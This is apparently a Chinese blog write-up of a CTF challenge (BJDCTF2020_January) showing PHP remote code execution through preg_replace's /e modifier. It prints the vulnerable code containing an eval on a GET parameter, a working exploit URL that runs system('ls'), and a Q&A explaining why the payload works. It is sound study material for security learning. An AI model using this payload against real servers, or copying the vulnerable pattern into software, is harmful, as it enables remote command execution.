php命令执行函数

preg_match的/e模式

文章

题目来自buu-BJDCTF2020_January

preg_match(pattern, 替换成的字符串, str)
当pattern中采用了/ / ..e模式时,每当str中匹配到pattern,就会把参数2当做代码执行。

  1. 参数2可控 —> 直接执行命令
  2. 参数2固定格式,如
1
2
3
4
5
6
7
8
9
10
11
12
13
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
1
url?\S*=${getFlag()}&cmd=system("ls")

\\1是正则表达式中的第一个捕获项,由于表达式是(\S*),$str均被匹配,因此
执行的是strtolower("${getFlag()}")
接下来回答以下几个问题
Q1: 为什么不使用.*匹配
A: 以下这些字符作为变量名时,会被替换成’_’,其中就包括了字符’.’

Q2: 为什么要用${getFlag()}而不用getFlag()?
A: 因为如果用后者,那么将执行strtolower("getFlag()"),其中getFlag()只是普通的字符串.而执行strtolower("${getFlag()}"), 其中${}的格式是可变变量
,也就是会先自动解析{}中的变量,然后再把它作为变量名.显然$flag{…}是未定义的变量,也就是null.所以得到flag依赖于getFlag()函数中将flag打印出来
Q3: 为什么不能直接url?\S*=${system('ls')}?
A: 经测试会报错 unexpected “ls”

2025/3/10:

传递的参数是字符串,'"也不例外, 因此'变认为是一个常量字符串,
传递url?\S*=${system('ls')}时, 执行的是strtolower("${system(\'ls\')}"), 也就是说'会被转义, 因此会报syntax error, unexpected '
alt text
和网页上的报错一致

终于…


可能与'strtolower("\\1")'中把'"都用掉了有关系,导致
$str这个参数不能出现引号. ==> nope

奇怪的是url?\S*=${system(ls)}意外的可以运行
但是ls /又不能运行, … 暂时不深究



php命令执行函数
http://mekrina.github.io/blogs/php/php命令执行函数/
作者
John Doe
发布于
2025年5月30日
许可协议